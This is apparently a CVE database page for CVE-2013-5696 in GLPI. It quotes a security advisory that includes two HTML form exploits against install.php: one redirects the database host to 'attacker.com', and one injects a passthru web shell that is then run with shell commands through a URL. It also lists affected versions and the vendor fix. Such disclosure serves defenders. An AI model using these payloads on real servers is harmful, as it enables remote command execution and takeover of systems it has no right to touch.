CVE-2013-5696
Description
inc/central.class.php in GLPI before 0.84.2 does not attempt to make install/install.php unavailable after an installation is completed, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks, and (1) perform a SQL injection via an Etape_4 action or (2) execute arbitrary PHP code via an update_1 action.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
GLPI 0.84.1 - Multiple Vulnerabilities
Advisory ID: HTB23173
Product: GLPI
Vendor: INDEPNET
Vulnerable Version(s): 0.84.1 and probably prior
Tested Version: 0.84.1
Advisory Publication: September 11, 2013 [without technical details]
Vendor Notification: September 11, 2013
Vendor Patch: September 12, 2013
Public Disclosure: October 2, 2013
Vulnerability Type: Improper Access Control [CWE-284],Code Injection [CWE-94]
CVE Reference: CVE-2013-5696
Risk Level: Critical
CVSSv2 Base Scores: 6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P), 10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
------------------------------------------------------------------------
-----------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in GLPI, which can be exploited to bypass security restrictions and execute arbitrary PHP code with privileges of web server.
1) Improper Access Control in GLPI
The vulnerability exists due to insufficient access restrictions to the installation script "/install/install.php", which is present by default after application installation. A remote attacker can change applicationâ??s configuration, such as database host, forcing the application to connect to an external database and spoof information on the website, obtain access to sensitive information or simply cause a denial of service.
Simple exploit below changes the database hostname to "attacker.com", which forces the application to connect to a malicious database controlled by the attacker:
<form action="http://[host]/install/install.php" method="post" name="main">
<input type="hidden" name="install" value="update_1">
<input type="hidden" name="db_host" value="attacker.com">
<input type="submit" id="btn">
</form>
2) Arbitrary PHP Code Injection in GLPI
The vulnerability exists due to insufficient validation of user-supplied input passed to the "db_host", "db_user", "db_pass", and "databasename" HTTP POST parameters via "/install/install.php" script [that is present by default after application installation] before writing data into "/config_db.php" file. A remote attacker can inject and execute arbitrary PHP code on the vulnerable system.
Simple exploit below injects "passthru($_GET['cmd'])" PHP code into "config_db.php" file allowing a remote attacker to execute arbitrary system command with privileges of the web server:
<form action="http://[host]/install/install.php" method="post" name="main">
<input type="hidden" name="install" value="update_1">
<input type="hidden" name="db_host" value="'; } passthru($_GET['cmd']); /*">
<input type="submit" id="btn">
</form>
After that attacker can access the web shell to execute system commands via the following URL:
http://[host]/index.php?cmd=ls -la; id; pwd;
------------------------------------------------------------------------
-----------------------
Solution:
Update to GLPI 0.84.2
More Information:
http://www.glpi-project.org/spip.php?page=annonce&id_breve=307&lang=fr
https://forge.indepnet.net/issues/4480
------------------------------------------------------------------------
-----------------------
References:
[1] High-Tech Bridge Advisory HTB23173 - https://www.htbridge.com/advisory/HTB23173 - Multiple Vulnerabilities in GLPI.
[2] GLPI - http://www.glpi-project.org - GLPI is the Information Resource-Manager with an additional Administration-Interface.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.
------------------------------------------------------------------------
-----------------------
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
GLPI - 'install.php' Remote Command Execution (Metasploit)
Metasploit modules
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| glpi-project | glpi | {"endIncluding":"0.84.1"} | |
| glpi-project | glpi | 0.5 | |
| glpi-project | glpi | 0.6 | |
| glpi-project | glpi | 0.20 | |
| glpi-project | glpi | 0.21 | |
| glpi-project | glpi | 0.30 | |
| glpi-project | glpi | 0.31 | |
| glpi-project | glpi | 0.40 | |
| glpi-project | glpi | 0.41 | |
| glpi-project | glpi | 0.42 | |
| glpi-project | glpi | 0.51 | |
| glpi-project | glpi | 0.51a | |
| glpi-project | glpi | 0.65 | |
| glpi-project | glpi | 0.68 | |
| glpi-project | glpi | 0.68.1 | |
| glpi-project | glpi | 0.68.2 | |
| glpi-project | glpi | 0.68.3 | |
| glpi-project | glpi | 0.70 | |
| glpi-project | glpi | 0.70.1 | |
| glpi-project | glpi | 0.70.2 | |
| glpi-project | glpi | 0.71 | |
| glpi-project | glpi | 0.71.1 | |
| glpi-project | glpi | 0.71.2 | |
| glpi-project | glpi | 0.71.3 | |
| glpi-project | glpi | 0.71.4 | |
| glpi-project | glpi | 0.71.5 | |
| glpi-project | glpi | 0.71.6 | |
| glpi-project | glpi | 0.72 | |
| glpi-project | glpi | 0.72.1 | |
| glpi-project | glpi | 0.72.2 | |
| glpi-project | glpi | 0.72.3 | |
| glpi-project | glpi | 0.72.4 | |
| glpi-project | glpi | 0.78 | |
| glpi-project | glpi | 0.78.1 | |
| glpi-project | glpi | 0.78.2 | |
| glpi-project | glpi | 0.78.3 | |
| glpi-project | glpi | 0.78.4 | |
| glpi-project | glpi | 0.78.5 | |
| glpi-project | glpi | 0.80 | |
| glpi-project | glpi | 0.80.1 | |
| glpi-project | glpi | 0.80.2 | |
| glpi-project | glpi | 0.80.3 | |
| glpi-project | glpi | 0.80.4 | |
| glpi-project | glpi | 0.80.5 | |
| glpi-project | glpi | 0.80.6 | |
| glpi-project | glpi | 0.80.7 | |
| glpi-project | glpi | 0.80.61 | |
| glpi-project | glpi | 0.83 | |
| glpi-project | glpi | 0.83.1 | |
| glpi-project | glpi | 0.83.2 | |
| glpi-project | glpi | 0.83.3 | |
| glpi-project | glpi | 0.83.4 | |
| glpi-project | glpi | 0.83.5 | |
| glpi-project | glpi | 0.83.6 | |
| glpi-project | glpi | 0.83.7 | |
| glpi-project | glpi | 0.83.8 | |
| glpi-project | glpi | 0.83.9 | |
| glpi-project | glpi | 0.83.31 | |
| glpi-project | glpi | 0.83.91 | |
| glpi-project | glpi | 0.84 | |
References
- http://www.glpi-project.org/spip.php?page=annonce&id_breve=308
- https://forge.indepnet.net/issues/4480
- https://forge.indepnet.net/projects/glpi/repository/revisions/21753
- https://forge.indepnet.net/projects/glpi/repository/revisions/21753/diff/branches/0.84-bugfixes/inc/central.class.php
- https://www.navixia.com/blog/entry/navixia-finds-critical-vulnerabilities-in-glpi-cve-2013-5696.html
- http://www.glpi-project.org/spip.php?page=annonce&id_breve=308
- https://forge.indepnet.net/issues/4480
- https://forge.indepnet.net/projects/glpi/repository/revisions/21753
- https://forge.indepnet.net/projects/glpi/repository/revisions/21753/diff/branches/0.84-bugfixes/inc/central.class.php
- https://www.navixia.com/blog/entry/navixia-finds-critical-vulnerabilities-in-glpi-cve-2013-5696.html
CWEs
CWE-352
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.